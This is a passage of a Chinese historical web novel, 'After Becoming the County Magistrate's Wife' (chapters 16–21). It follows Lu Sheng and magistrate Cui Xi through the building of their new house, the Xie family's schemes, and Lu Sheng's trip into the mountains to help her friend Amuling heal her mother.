“我就直话直说了,小丫头你要早早考虑,最好攒一些钱。以后你总有个头疼脑热,也不可能保证每次都请到的是我!”张远清话说得很诚恳,想来是在州府里见过人世间的许多。 “嗯,多谢张大夫,我会早做准备的。”陆笙显得很平静,远超出张远清预料的平静。 张远清意外她没有哭喊,没有让自己一定要治愈她的顽疾,只是接受了这个事实。 “是我小看了陆小娘子,老庄说得对,巾帼不让须眉。我悬壶多年,看过的事有很多,好孩子你确实不必勉强,无有闲事挂心头才是人间好时节。[1]”张远清见她心境不同,立刻换了套说辞。 “张大夫是那位兰痴吧?”陆笙忽然想到老庄曾经的话笑问。 “哼,小丫头,少打听!我给你开一副方子。到时候你但凡有个头疼脑热,能请我就请我,反正我也是县里最好的名医,县令诊金也给得起,千万别抠着,记得必须请我!”张远清从药箱里拿出纸笔,开始写方子。 陆笙对生孩子并没有执念,前世没有,这一世更没有而且不必,所以她很平静,不过她的父母说她是读书把脑子读坏了。 生理期的痛感忽然袭来,如铅坠腹,被牵引的是自己的血肉,她捂住小腹部忍耐。张大夫把方子写完人就离开了,外面传来模糊的声音,陆笙痛得听不清。 庭中,崔息正在听张远清讲话。 “明府,不知陆小娘子往日来心情如何?” “此话怎讲?”崔息让张远清开门见山。 张远清一看,似乎不是绝情之辈,他捋一捋胡子慢悠悠道:“夫人心有郁结,气血不畅,若她要些什么,别抠着,尽管满足就是。莫要一时意气,以后追悔。” 崔息一听心中凛然,连连点头。 可陆笙要什么呢?她似乎什么也不要,唯一感兴趣的是攒钱、做饭还有种地。 又或许不止如此,崔息想到之前的木材,很快默写出来的卷子,精心改建的房屋。她似乎对家有一种别样的执着,也怪不得想参与府邸的修建…… 崔息一捋事情就通畅许多,阿乐是想要一个家。 “明府?”张远清看到他在发呆忍不住叫他一句。 崔息行一个礼,用郑重的语气说:“多谢张大夫,我心中已明了。” “明府请收好,这张是方子。”张远清把方子给他,领诊金离开的时候不忘加一句,“明府,尊夫人下次有什么不适一定要请我!” 人走以后,阿灵在旁边小声嘟囔了一句:“诊金这么贵,怪不得走之前还要喊阿郎请他。” - 崔息吩咐人熬药,又叫阿灵熬一锅姜汤,里面要放糖。他自己则到陆笙的身边问她:“身体不适得厉害么?” “比往常痛一些,约莫是今日午时冷到了。” 崔息却说:“也不止,月事每月一次,这一月你经历了多少事情,下一个月安稳一些。” “也是。”陆笙承认,生理期吧它有时候确实敏感。 “阿乐,等你好一些我们就回家看看,或者今天就去,我为你驱车。” 陆笙疑惑:“秦厌呢?” “他去州府了,县里的文书需要交接,那案涉及人命,州府长官要问一些话的。” “你为我驱车?虽然这里离上京遥远,但也是王化之地,传出去你就要像那下马饼故事里的那位绯衣高官一样被人指点,说不定还要弹劾。” 陆笙这是玩笑话,监察御史的眼睛是不会盯着这儿的,但此事确实会被指点。崔息是个勤勉的县令,陆笙希望他在任时不要因为自己受到牵连 17. 第 17 章 《成为县令夫人以后》全本免费阅读 这些情绪在看到新建的真·古建筑时被一扫而空! 前世这破专业让自己买不起厕所间,还没空去逛园林,现在却要住大古建?! 这也是陆笙第一次看到大宅院建房的模样,好多的人在忙活,都好利索的动作。 她又仔细一看,那些拆下来已有虫蠹的旧木头被归在一边,而崭新的处理过的木材被架起来。又看到零件似得一块块分开的木头部件,一问匠人,他说这是拿来做斗拱的。 崔息看着她眉开眼笑,心里放松许多。前几日谢家的宴请,她很稳得住,没有失礼。今天看那个谢小娘子来势汹汹的,那天肯定不好过,无怪乎张大夫说她心情不畅。 “原来是县令府邸和衙门才能用砖石墙么?”陆笙发现宅院建设不只是木头,还有砖石,甚至有空心砖。这种砖可以平衡湿度,很适合这里的天气。 沈管事这时候已经从工匠堆里出来,今天她也穿的是圆领袍,戴着透额罗,头上簪了一朵金质红蕊的宝石花。 “这倒不是,砖石墙都可以用,覆瓦用檐倒是有规矩,但这里全用竹木的多。” “因为便利?”陆笙猜到了原因。 “是啊!便利得很,竹子又生得快。”沈管事显然也是知道些原委的。 崔息在旁边补充:“只是竹木所建房屋容易毁坏,一遇雷火随时都可能烧去一条街。我来永平县时在馆驿里没少听得这样的事,而且愈往南愈普遍,本地县官也大都肩负房屋改建之职。” 从上京到这里急急地走也要两三个月,那时候确实日日雷雨。馆驿又只有官员可用,无怪乎崔息能听到如此多的消息。 陆笙又去回忆谢宅,好像那里的部分房屋也是有砖瓦作为承重的,但也有竹木的。 “亏得这木头质量好,不然这个时节可动不了工呐!”沈管事激动得我住陆笙的手。 陆笙不知道木头怎么算好怎么算不好,她只知道阿木凌伐木是有特定时期的。“这些木头大多是朔望日伐的。” “那就对啦!这两日正是伐木的好时候呢!这些木头又是本地货,缩胀不剧烈,好用!”一个穿短褐脖间围着狐狸毛的黄脸汉子笑吟吟地赞了句。 崔息轻轻问陆笙:“要学么?认一认那些部件,看一看他们是怎么竖柱子的。” 陆笙一拍手说:“当然好!” 于是三个人就由黄脸汉子带着去看现场,沈管事说这个黄脸汉子带的人手艺好,他家前朝时家里是皇族专门养着的匠人,后来避祸回到了州府。 “这个就是柱,建房子很简单,就是柱上架梁。这两根柱外加上这些就成为一间。普通人家呢不升斗拱,给圣人和大寺做屋的时候才升,升得还有讲究。而且只要测算得准,做好的木头就能这么严丝合建起来!喏,那就是我们的测算师傅!” 黄脸汉子指着工地里一个被斗篷完全裹住的身影。那人身材纤瘦,灰色的披风将她裹得很严实,看起来是个年岁不大的小娘子。 “别人用算盘,她呀,嘿,立刻给你报出数目来,可惜手坏了一只,不然这建屋子的法子还能改,可惜咯。”黄脸汉子摇摇头。 陆笙曾听闻《营造法式》里将“材”分八等,根据不同建筑的规格来进行选择,颇有现代社会标准件的意思,不知道在这里有没有发展出来。 “诶呀呀,我要去接法师了,我找了法师今日开光!”沈管事忽然出声,然后着急忙慌地走了。 黄脸汉子笑:“郎君,你家的管事真是有趣,什么都要开光!如此虔诚?这开光的钱若是……” “钱方!说什么呢?这是主人家!”刚才那个测算师傅瞪他一眼。 “不说了,我这嘴!明府莫见怪!”黄脸汉子赶紧叉手行礼道歉。 崔息摆手:“不妨事,你们继续建着,我带娘子去后园瞧瞧。”说罢和陆笙对视一眼,心有灵犀地往一处走。 走开人群,陆笙忽然好奇,她问崔息:“云尘当初在上京进士及第释褐的第一个官是什么?是不是在皇城当差,甚至有机会可以去大明宫里头?那大明宫什么样呀?” 崔息耐心地回答她:“我在集贤院当校书郎,那地方就在大明宫里。大明宫很大,大到让人心心慌,有时因事抄书到夜里,离开时不免惶恐。皇家做佛事一般在麟德殿,宴饮也会在那,偶尔回去得晚了就往那走,而且不远处就是翰林院。翰林院的士子爱簪笔,有时候缺了笔有人会顺手捉一支。” 说到大明宫,崔息的目光不再有焦点,虚虚地望着前方,似乎在眺望千里之外的上京,他继续讲那座寰宇之内最大的宫殿:“但看大明宫还是登山登楼才好看,身在其中琉璃瓦片、雕梁画栋目不暇接。又因它建在原上,是大城的最高处,所以看全它需要登高楼。上京士子都爱登楼,许多高楼诗牌作响,很是壮观。” 陆笙笑他:“居然这样诚恳?还以为云尘会故作玄虚一番。”又羡慕地问,“那集贤院书册多么?” “嗯,很多。我当校书郎时集贤院的书已多过了秘书省。”崔息说起这段经历心情很愉快,当时日子清闲,但又有名头和俸禄,每日宴饮作诗,风头一时无两。 “这么说就是当了圣人也改不了懒的毛病,集贤院离得近不用走很远,就是苦了没有车马的校书郎和正字,走路的时间又长了。” 崔息笑说:“幸好我骑的是马,当时也敬佩服一个同僚,愿买好砚而不买一头驴。” 陆笙又问:“那云尘是那曲江探花的探花郎君么?” “那倒不是。”崔息摇头。 “啊?那探花是如何郎艳独绝?风采竟能胜过你!” 陆笙心里感慨,怎么没穿个好地方?要是成为什么公主那上京的郎君不是日日可看? 而且还跟韭菜似得,春闱来了就换一批。每年看全国最帅最有才学的年轻郎君,意气风发大好年华,真有眼福! “是我推去了,不喜热闹。”崔息语气淡淡的,好像推去一场普通宴饮。 “那你岂非奇货可居?”没人告诉他这样只会被更多人关注么?还是非为社恐,而是怕小娘子们太热情。 只是这事也可以推?皇帝居然答应。 “那阿乐以为我价值几何?”他竟真摆出待价而沽的模样。 “噗嗤。”陆笙被他逗笑了,又嫌弃自己笑得太便宜了,应该再让他作怪一些再笑。 沈管事过来的时 18. 第 18 章 《成为县令夫人以后》全本免费阅读 秦厌带来的好消息是关于他们办的命案,他说这案子已得刺史批复,可以行刑。 只是有一个问题,那就是永平县并没有刽子手,原先的刽子手在这赚不到几个铜钱,已远走他乡。早在一年前,犯人就已经是送往州府受刑。 押去州府?谁押送?明明没有人。 “老庄带我押送过。”陆笙清一下嗓子。 她确实押送过死丨刑犯,因为县衙的人手抽调不开,所以叫老庄和她押送。其实乡绅也有专门往外跑的趟子手,但大多嫌恶与罪犯同路,更别说还要担待责任。 崔息说不必,这件事等会儿他会去衙门会谈。陆笙知道,他这意思就是避开自己,她也不深问,走开去看她的堆肥。 从远处看,挖了深坑的地方已经有一些塌陷,这是个好兆头,这意味着这些有机物被分解了,他们以后就会化作土壤的肥料,这后园的土陆笙基本都看过,不是什么肥力充足的土,所以必须得人工养土。 她还有个想法就是把那荷花塘里的淤泥挖一些上来,淤泥的肥力足。小时候外婆也是这样做的,她说荷塘里的淤泥种稻子都不用撒肥料,肥得很,但是非处同地,陆笙也只能试上一试。 她边想边走,拿铲略翻一下自己那些不同配比的堆肥,效果似乎略有不同,这些数据宝贵,她须得记下来,到时候说不定还可以指着这个生息水赚些钱。 “阿乐,我和秦厌先回一趟衙门。”崔息眉目之间堆了几分肃穆,但语气柔和。 “好。”陆笙没有理由拒绝。 他们刚走风就大起来,陆笙裹紧披袄走到可以挡风的墙下,想着刚才沈管事说的话嘴角忍不住翘起来。真的要有自己的屋子了,那怎么建才好呢?自己又需要什么功能呢? 最显而易见的是农业需求,自己要播种、浇水、施肥、堆肥,这个过程又必然伴随着种子的保存,工具的收纳还有农副产品的处理,陆笙仔细梳理。 她做镖师记路线、卖力气和命,但种地也并不比它轻松。种地看天,一年之计在于春,不开头一年都会白费。至于农具的使用、打磨还有翻土的深度与时间都是一件复杂的事。 以及现在还有一个很敏感的事,那就是要立灶台吗? 对一个家来说设灶并不轻易,须得请灶王爷。譬如沈管事这样看重黄道吉日还要请法师开光的人来说,再设一个灶台的动静不亚于建个小屋。最重要的是,一个家为什么要两个厨间?这是最关键的点。陆笙想得皱眉头,不管是不是偷偷立起来它都是不太可能实现的。 对了!也可以做壁炉和披萨炉,换个形式,避免灶这个敏感的事。 正想得起劲,沈管事心有灵犀似得来了,她身后跟着几个僧人,穿着法衣,嘴里念念有词。陆笙看到他们合十双手,心里促狭地想:以后崔县令会给人家开光么? 沈管事从前头转回来,捉住陆笙的手说:“娘子来,你是主人家,快来! 她脸上洋溢着笑,细细的皱纹开于眼角周围。这些天她应当很辛苦,陆笙赶紧“诶”了声,快步跟上去。 沈管事递给陆笙一根绿枝。两人一块蘸水洒在附近,最后又将左右一起举过头顶,将那绿枝合于手心,用自己的温度一点点温暖它。 风一吹,陆笙产生了一种它在自己手心生长的错觉。 闭上眼,虔诚地向虚空祷告,为以后的安居乐业请求一个开始。说完这些还有一段经文要念,言语在舌尖辗转,心拜服着遥远的命运,一股庄严和隆重在仪式里弥漫开,陆笙读完眼角潮湿,说出世俗愿望的感觉满足又奇异。 “来,娘子,这根枝子我们要扦插在东南。”沈管事拉着陆笙一起去插绿枝。 东南风,湿润温暖,仿佛是要借天地之力来呵护这座小宅。 扦插完,沈管事念叨:“我们这个家算是稳咯,多谢各位师父,快随我去领安宅钱。”又对陆笙道:“娘子,今夜啊要麻烦你做一道菜,我再让人捎个信,公子和秦厌也需做一道,一家人心齐全,同舟共济。” 陆笙笑着点头,心里想:崔息没有把出家的事情同沈管事说么?显然安宅成家在沈管事心里千斤重,可他却要四两拨千斤。 “娘子?你今晚要做什么?能多做些吗?想着给大伙儿分个喜庆。”沈管事忽然又走回来问她。 陆笙说:“不知道沈管事有没有听过乔迁喜蛋?” “听过听过,我也正想做这个呢!只是全染红有些俗气,不知娘子有什么法子没?”沈管事很信她的本事。 “可以剪不同花样的纸,再往红料里浸透,往蛋上一贴便好,贴好揭下来,最后重复。”陆笙想了个法子。 “娘子这个法子好!我立刻去画花样,娘子也得画一个!以后也莫叫我什么沈管事,叫我丰娘就好。”沈管事对她女主人的身份尤其执着。 “好,丰娘。”陆笙不知道什么时候丰娘这样喜欢自己,难道是谢家那次的家宴传出什么话?好些天没集中听八卦了,消息都不灵通起来,以后须得好好想办法。 画花样陆笙不擅长,想了想随手画了个爱心,这个图案没有难度又很有温度。 还没有装门的厨间挤了很多人,大家都叫她“娘子”,又拿着喜蛋说她聪慧灵巧,听得陆笙的心软软的。 - 此刻县衙内却并没有这样融洽的气氛,秦厌正在劝公子。 “公子,何必你亲自动手,我来就好!” 崔息摇摇头,他说:“不只是为此事,我须亲自动手。” 他说的事情是之前那一桩杀妻案,杀妻案固然分明,但后续的分家产却纷乱复杂,叫他们查了许久。那家没有孩子,所以凶手的亲族要连着被害者的嫁妆一起分,但哪有如此道理?嫁妆一贯是娘子自己的财务,况且又是这样的案子。 “杀鸡儆猴,我也得立一立威,你从前不是说过么?此处不是上京,没人听我的。”崔息语气淡淡的,但透着一股不容拒绝的威严。 秦厌看着他点头不再反驳,公子这个时候的姿态神情仿若从前那位,真是可惜让那人成了事。 “文书写完就回去吧,她们还在等我们呢。今日的事莫要多嘴说漏,只管开心就好。 19. 第 19 章 《成为县令夫人以后》全本免费阅读 谢府暖阁内,家主谢林正与夫人正下棋,黑白二色的棋子落在棋盘格上,落子一声又一声。室内无人说话,只有瑞龙脑香的一缕青烟袅袅向上。 谢夫人拿着手炉,时不时看看谢林的神色,直到他的手下的管家来报。 “老爷、夫人,姓陆的女镖师出城了!” “果真?”谢林眉毛一扬,手中把玩不停棋子“哗啦”一下被他洒到棋盘上,一堆的黑子如山崩倒,瞬间坏了棋局。 谢夫人眼露不满,尤其是当她看到自己最珍爱的棋子被谢林如此搅和相碰刮出了花。 “绝不会出错的,好些人亲眼看见的!”管家咬定。 谢林又问:“那她身边有其他人么?” “没有,只有她一个!哦还有一事,那崔县令据说要自己去干行刑杀头的事,也在今日。”管家又补上关于崔县令的消息。 谢林嗤笑一下道:“白面书生去杀头?他也敢!又不是杀鸡,当不得真。到时候多半拿着剑两股战战下不来台。好了,你先下去吧。” 管家行礼离开,快走出门的时候谢林又喊住他。 “把这事透给真儿。若她不肯,就说不要让她辜负了自己母亲的在天之灵,她今日有机会可以好好谋划。” 管家应下,又问有没有其他吩咐,直到谢林考虑完全才再次退下去。 “哼,把我的棋子给弄成这样。”谢夫人捏着刮花的棋子白心情颇佳的谢林一眼。 “窈芳啊,不就是棋子么?我再给你买就是了,买天竺砗磲的,如何?”谢林笑得宠溺,握住她的手说。 虽然年华已逝,但窈芳的手依旧如柔荑一般,十几年风雨都是靠她抚平心事。 “还是省着吧,财应积蓄,如今节流开源,何必再买这昂贵的棋子。” 谢林听出她的意思了,如今也就嘉林馆不错,其他都是越赚越少,再如此他们谢家就要搬出这永平另寻居所,毕竟县里的学堂都是人才缺缺,窈芳的儿子再过一年就要开蒙。 光靠财物一个家族是长久不了的,这事谢林有数,毕竟祖上也是高门的旁支。 “但愿这崔县令能比上一个怂包好些,至少要想着修一修水道,让县里这一潭死水动起来。”谢林叹一口气,俗话说宁做鸡头不做凤尾,永平县他还是想留的。 “那日宴席上你对他说了么?” “他醉得太快,又说吃了青羹腹内胀痛,没来得及。啧,那东西本来想要给他下马威,结果那女镖师跟吃佳肴美馔一样吃了好几碗。” 谢林一想到陆笙那馋嘴的模样心里就来气,下马威被她当成了品菜会。 “我前些日子听外面来的人说,我们这铸造的铜钱,十枚可在外边换十二枚,说是铜的量不一。要真通了水道,我们这钱可更值钱了呀!”窈芳把自己听到的消息根谢林说。 谢林叹气,他又不好明说,最好是崔县令自己要去疏通,他非要劝怕露什么风声,当时开铜矿他可赚了不少黑钱,而且自己去说不一定要砸多少钱! “难呐,再等等,这冬天还没过,明年不开我们后年就搬。” “行。”窈芳也觉得待在永平县不是什么长久之计,应声后她又嗔怪谢林。 “为何不让栖真嫁那崔县令,莫非你还对那个贱人有什么情义?” 谢林面露嫌色,他解释:“窈芳,此事你怎么看不清呢?这崔县令哪有什么仕途!你们南边人可能不晓得,他可是上京崔氏子弟,还是榜上进士,这么好的出身怎么可能到永平县来?应该在那京畿重地才对。你再看那亲力亲为,忙里忙外的狼狈样,哪有大族子弟的意思!” 说到这里他声音极低地猜测:“约莫是真崔氏犯了过错被人顶替到此处来。” “崔氏?竟是崔氏子弟?”窈芳听了也惊讶,又庆幸自己没有让女儿去替嫁。 当然,也替嫁不成,这县令娶了个女镖师,若真如谢林所言,那可真是泥腿子配镖师,登对得很。 - 谢卉真的院子很偏,但她性子也算喜静,所以住起来不觉得难受,少了挖苦酸讽反倒自在。 此时她正在屋子里头练字。满地的纸张落在地板上,满意的被挂在窗棂上甚至房梁。各种书体交错又将她包围,好似于墨海泛舟。 “十娘子在吗?”小厮敲了敲门。 谢卉真正书到关键处,对突如其来的打扰很是恼火,她冷冷道:“有话快说。” 小厮清了清嗓子说:“十娘,那女镖师今日已离城,大约是与崔县令心有嫌隙,老爷说您不妨再试上一试?” 谢卉真冷笑,什么叫再试一试,已经被当面驳回还不够丢脸么?去说动那崔县令还不如求陆笙呢,她脸上倒有怜色,但自己绝不会去做那如夫人。 “告诉阿耶,我不嫁那崔县令了!” “是,老爷定会替十娘子再寻一位如意郎君。” 小厮的声音传到谢卉真的耳朵里,她长舒一口气,就知道阿耶是疼自己的,但有听门外如有鬼声一般响起。 “譬如东街的沈秀才。” “胡说!”谢卉真将手边的砚台一下砸了出去,小厮的头上血流如注,他却不躲,依旧笔挺站在那里,还加了一句“十娘子莫要对不起自己母亲的在天之灵。” 谢卉心惊,最后如同泄了所有气力一般说:“下去包扎吧。” 说完又叫婢子给小厮拿了些银钱,这应该就是陆笙说的精神损失费,她的那份自己还没给。 “沈秀才,东街的沈秀才?”谢卉真念叨了两遍这个名字,又哭又笑的。 东街那沈秀才是靠替人书信才能把日子过下去的,据说他未中秀才之前一个饼都要掰成两半吃,而且要吃两天!她绝不要嫁这样的穷秀才,笔墨纸砚都要抠着来,有了他自己的还能有她的么? 那就再去一回,折了自己所有脸面也罢,都扔过一次面皮也不怕第二次。最多,最多问一句他:愿不愿有一个自己这样的妾室。 谢卉真捏断了笔,毛刺扎进手里,鲜血流进墨色,红黑交织看起来触目惊心。婢子吓了一大跳,立刻翻药膏,可最好的那一份已经给了县令夫人,只好先包扎再说。 包扎完谢卉真施粉黛点朱唇,准备去找崔县令,她浑浑噩噩地往市井之中走。谢卉真依稀记得最后那个小厮告诉的地点,阿耶的消息从不出错,她没有怀疑。 直到婢子惊叫一声:“娘子,这……这是要杀头!” 谢卉真左右看看面色有些迷茫,最后视线落在崔息身上时才发现,他今天穿着官袍,拿着利剑站在插了行刑牌的犯人旁边。 “这是哪里来的小娘子?穿得这样好看来?”旁边不知谁说了一句,附近人确实多,你挤我,我挤你,婢子努力护着谢卉真不被冲撞。 “谢家的,怎么看杀头还点朱唇……” “离远点离远点,今天那个被杀头的张二就是突然奋起上刀的!” 于是非常诡异地,大伙儿又努力和谢卉真开始保持距离,谢卉真像真空里的一圈气泡,挤啊挤啊就到了最前头。 谢卉真一个踉跄扑倒在地,陌生 20. 第 20 章 《成为县令夫人以后》全本免费阅读 陆笙正在山里跋涉,今天阿木凌托人来信,要她带着安窍灵角丸速来木楼。带信的人还递给她一撮绑着鹰骨的头发,陆笙心一沉,这个信物的意思是必须来,最好如飞鸟一般赶来。 安窍灵角丸的原料来自婆罗国与僧伽罗,她手里这枚还加了安息国的珍惜药材,药性生猛异常,非生死局面不可用,陆笙担忧是阿木凌的阿娘出了什么大事。 她策马再次到入山口时马儿又开始躁动,陆笙安抚地拍拍它的脸颊,又喂马吃些豆饼,但无论如何它也不肯进去,只在原地打转。 那天遇熊的事情历历在目,陆笙紧紧抱了抱马脖子,拿出马鞍里放的木盒准备自己独身进山。马却衔住她的衣衫死死拖住,一时进退两难。 忽然马儿腾的一下立起来,陆笙被牵得绊了一跤,余光看到林子深处蹦出来一个黑影,速度比那熊还快上三分! 她躲不开只好翻身滚走,起身时才发现是一匹眼上长着白毛的巨狼。它围着陆笙转了几圈,目光带着拟人的不悦,好像怪自己躲开,然后又在陆笙防备的注视下趴伏在地。 “你怎么这么大了?”陆笙惊讶,她终于认出来。 这是阿木凌救的小狼,陆笙搓了搓大狼的颈毛,马儿这时候已经略安定一些,在不远处徘徊。陆笙朝着它吹个口哨,从口袋里拿出所有的豆饼倒在附近,意思是如果吃完这些我还没有回来,你就回去吧。 走之前,她又在鞍袋里放了纸条,怕此去日长,大家担心。 陆笙第一次骑狼,因为之前它还没长那么大。狼在林子里奔跑速度很快,耐力也异常强悍,硬生生把她直接送到了木楼前,就是衣服刮破了不少,脸上的伤痕也新添几条。 “阿木凌—” 陆笙像上次一样呼唤她的名字,身边的狼也昂首,林间立刻回荡起它的吼声。 “陆笙。” 有声音轻飘飘地落在背后,拂过颈后时让人汗毛倒立。陆笙忽然回头,却见一头白发,她吓得倒退三步才看清,那白发下面的一张脸居然是阿木凌的!她像一团鬼火似得在黑暗里生着冷光。 “阿木凌你……你的头发怎么白了?!哦,对,安窍灵角丸!”陆笙拿出沉木的盒子塞到她的手上,她身体冰冷,一触仿佛要结冰。 “不,不是给我的,是给我阿娘。”她拿着盒子往木楼里走,身后跟着另一匹狼。 “你们去守着林子,陆笙会照顾我的。”阿木凌气若游丝,声音幽幽的。 两匹狼蹭一蹭她的手,化作飞影潜入森林。 陆笙跟着阿木凌一步一步往木楼里去,走到昂摩躺着的床边,鼻尖忽然传来一股异香。 “你烧生犀了?”陆笙疑惑。 “嗯,披着熊皮烧的,我去那边找我阿娘了,大巫说她的一魂一魄留在那边,只要找到就可以……可以恢复正常。” 陆笙无法用语言去理解这个话,这是阿木凌重新翻译过来的,到她能听懂的语言里,这已经不是人力可为的事情。 “我用生寿和血脉牵引她回到人世间,现在只缺一扇门。”阿木凌小心翼翼地打开木盒,一颗大如山楂的药丸躺在其中。 陆笙帮她把昂摩扶起来,阿木凌掰开她的嘴将药丸放了进去,手指轻推咽喉,药丸落下。 “你又救了我一次。”阿木凌看起来很疲惫。 陆笙叫她好好休息,她咬破手指以痛换取一点清醒,因为此刻她的眼前已经出现了不该出现的幻觉 阿木凌却摇头,取了很多巨大蜡烛围住自己和昂摩,又唤出自己养的大蛇,大蛇绕住其中最大蜡烛的烛台,一动不动,蛇头朝着昂摩。 “陆笙,吃的东西在小间,如果第七天我还没醒过来,你就把我们烧了吧。”阿木凌语气平静,说出的话陆笙一句句记在心里。 “记得回来,这次救你的钱还没给。”陆笙说完闭眼轻嗅,生犀的味道开始逐渐消失,那些幻觉也淡至于无。 只是更漫长的等待开始了,时间是火焰的每一次跳动,是阿木凌和昂摩的每一次呼吸,是自己时不时哼唱的现代歌谣,是外面的日升月落。 无聊也在具象,可阿木凌家里没有书。消磨时间的法子变成了淘洗记忆长河里的碎片,掏出一个,擦洗光亮,再赋予新的思考。 陆笙曾经很好奇,那她是怎么记住蛇的语言的,复杂的声调,根据温度、湿度对象产生的变调。 “靠唱歌啊,我们的事情在歌里,代代流传呢!”她觉得陆笙很笨似得斜视一眼,这么方便的事情都不懂,明明也是会说话的人。 看着闭目躺下的两个人,脑海里记忆的碎片如同暴雨,自己好像又真得被雨淋湿,下巴和鼻尖在滴水,黑色的一滩,自己坐在其上,如同入定。 木楼里已经分不清白日与黑夜,第一天,陆笙动也没动,第二天她忽然栽倒才意识到自己有很长时间没有进食。她努力支撑着身体去小间取腊肉,到火塘将肉反复炙烤刮去乌黑表层,处理腊肉的时候她的手指被火燎了一下,现实的疼痛叫她如破迷障地清醒了一下。 “阿木凌到底还烧了什么东西……”陆笙扶额,自己那种思维被拉长的感觉极其恐怖,视觉里的物品也是畸形的。 她慢吞吞走到小间去取了一把柴刀,然后走到木楼之外的竹林,一刀又一刀,半天才砍了支细细的竹子,她把它从中间劈开,只是缺少水分的竹子脆些,所以她只敢掰到三分之二的位置,最后拿刀修一修毛刺。 这样的竹子可以夹东西烧烤,她闻了阿木凌烧的香,需要吃点烤大茶。大茶是陆笙给这个植物饮品取的名字,因为喝起来味道像茶叶,但叶片大如手掌,可能是什么古茶树种。 阿木凌曾说过不清醒就喝大茶,特别不清醒喝浓郁的大茶。 大茶放在小间的瓦罐里,陆笙掏出来,一片片夹在竹棍上,像烧腊肉一样去烤,但看着起火的大叶她懵了,自己这是在干什么? 缺水的竹子配已经烤制的大茶,不起火才怪。 理清一些思绪,她用罐盛水,水滚烫后下大茶,香味瞬间弥漫,陆笙清明不少,倒出来喝一口,五感渐现。想起自己差点把她们三个都烧了,她后怕得想笑又想哭。 那房间里陆笙不敢再进去,把柴刀放在身边身体一歪睡在火塘边,恍惚之中却感觉有人晃她,陆笙烦躁。 自己才刚睡下呢!烦不烦人?! “陆笙,你不能再睡了,陆笙,快醒醒……” “陆笙,你要的回扣还没给你,卖给那个县令家木头的回扣……” 回扣?陆笙听到这俩词猛然睁眼。 “你这个财迷!”阿木凌被她的动静气笑了,又把自己煮的汤递给她,她这几天好像除了大茶汤没有吃别的,人也迷迷糊糊的。 陆笙接过汤喝下,是极鲜的肉汤,不知道用什么做的,她很饿,咕嘟咕嘟一口全部吞下去。 “阿木凌,你烧的东西差点害死我!”陆笙语气无奈。 阿木凌说:“我阿娘治病的香是从大巫那求来的,主要是靠你那一枚药丸,那香只是叫我阿娘好好休息的,除非……” “除非什么?”陆笙不解,自己脑 21. 第 21 章 《成为县令夫人以后》全本免费阅读 “公子,真的不能等笙姐姐回来再去州府么?”秦厌在擦拭自己的长剑,公子说此去或有凶险。 崔息捏着薄薄的瓷杯呷一口茶,轻轻摇头。 “可也没必要都去吧,万一笙姐姐回来了呢?” 万一她回来了呢?晚上家里空空荡荡怎么办?这个问题崔息怎么没想过?可此行要掩人耳目,明面上是自己携家眷拜访州府长官,须得有女眷随行的样子。 沈管事在一旁不说话,她以为阿郎已经向娘子坦白。 其实也不是大不了的事情,不就是先皇的私生子么?不就是被现在的圣人忌惮差点把一伙人诛九族么?她听说娘子生生死死经历过不少,阿郎这点事她能承受,自己和秦厌不也受着么? “阿郎,这事我与秦厌一个想法,应当等娘子。不等你也须得把原委说清楚,毕竟你们是夫妻,要过一辈子的。” 崔息不回答,沉默良久后只说:“都收拾去吧。” 秦厌和沈管事对视一眼,互相从眼里看出了些无奈。 当天夜里,沈管事给仆役们都释了假,说临近年关都回去过年吧,主家要去州府,顺道凑个元日的热闹,其实元日之前回,但做事要留个余地,万一呢? 婢子仆役都笑嘻嘻的,拿着沈管事的红包祝两个新人长长久久,说的“主家”,肯定是阿郎要带娘子去好好玩一玩咯。 看着这个被修缮过的县令府逐渐冷清,沈管事长叹一口气,人来人往,不管何时都忍不住感慨。她又去检查一番厨间的柴米油盐。 不错,都齐备着,这样夫人回来至少不需要费力安排。 秦厌把最后一个箱子搬上车的时候天上开始落雪,山道难走,他轻轻向天祷告,愿一切平安。赶车走过县城道路,家家户户都有烟火气,崔息拨开帘子看着一切倒退,居民房屋变成高山,只是一恍惚就越来越远。 陆笙的脸在崔息的记忆里不断闪烁,他放下了帘子,希望能回来。 “阿嚏!” 陆笙在路上打了个喷嚏。那匹小马已经回去,她们三个现在只能走路,又不能带着狼走,路过村庄都怕被围杀。 “阿娘,你瞧陆笙,她风寒还没完全好呢!绝对是练功懈怠了,那点山道都给她吓成呆鹌鹑。”阿木凌取笑陆笙。 “你还要住我家呢,说话客气点!而且打喷嚏在我们那的意思不是病没好,好吗!”陆笙不甘示弱。 “那是什么?你们打喷嚏都要作诗?”阿木凌不信。 “嗯,可不是。” “你编的,绝对是编的!”阿木凌对陆笙编造的能力很信服,她擅长编造各种丰富的细节,偶尔还要一本正经地跟人说就是这样。 “寤言不寐,愿言则嚏。”陆笙背一句。 这是当时在蜀中时路过一个学堂听到的,一个小郎君在和女郎笑嘻嘻地调情,女郎打个喷嚏,他就说了这一句。意思是你在喷嚏是因为我在想念你。 阿木凌狐疑,昂摩却说:“阿乐知道得真多。” 阿木凌不依,让昂摩呀夸夸自己,陆笙“咦”一声,阿木凌立刻追过来,作势要打几下。跑的时候陆笙那些阴云全散开,在木楼绝对是病出的幻觉,什么白发不白发,阿木凌这不是一样活泼且可(幼)爱(稚)吗?还是这天地之间畅快,她心里隐约有了什么主意。 奔走一段,天上忽然落雪,一片又一片,大小似指甲盖,是永平县少见的大雪。 “不闹了,赶路赶路。”陆笙朝着手呵一口气,怪不得崔县令手冷呢,这觉少就是血气不足呀。 三个人走啊走,第一日没有赶到县城,借住在一户农家。临近年关,大伙儿都在准备年货,这家人善,明明没啥吃的叶给三个人准备了鸡蛋汤又不肯收铜钱,陆笙早上悄悄前留了一片金叶子在碗底。 阿木凌说她钱不多,手却宽松。陆笙说这不是吃回扣了么?打打闹闹三个人在第二日黄昏抵达永平县。 先把昂摩和阿木凌送到自己以前的住所,走到厨间柴居然是满的,陆笙惊讶,眼睛又开始微微发烫。 “我先走了,不打扰你们母女团聚,柴米油盐都齐全着呢,想吃什么去我画红点的地方买,房子不拆就行,行李我都扔小屋了。”陆笙嘱咐一番就要离开。 阿木凌抓住陆笙,抱了她一下,真心地向她说:“谢谢你,陆笙。” 陆笙也用力拍拍她的后辈说:“应该的。” 看着陆笙背影,阿木凌心想大巫说得没错,陆笙的魂是白的,可以放心托命,就是……她是人,人是不能成为神的,大巫又说她重虑重思,这事要连累她一辈子,但她并不能完全明白大巫的意思,所以也不知道怎么跟陆笙讲。 阿木凌扶着门眼神复杂,直到听到母亲喊自己,快乐才重返眼底。 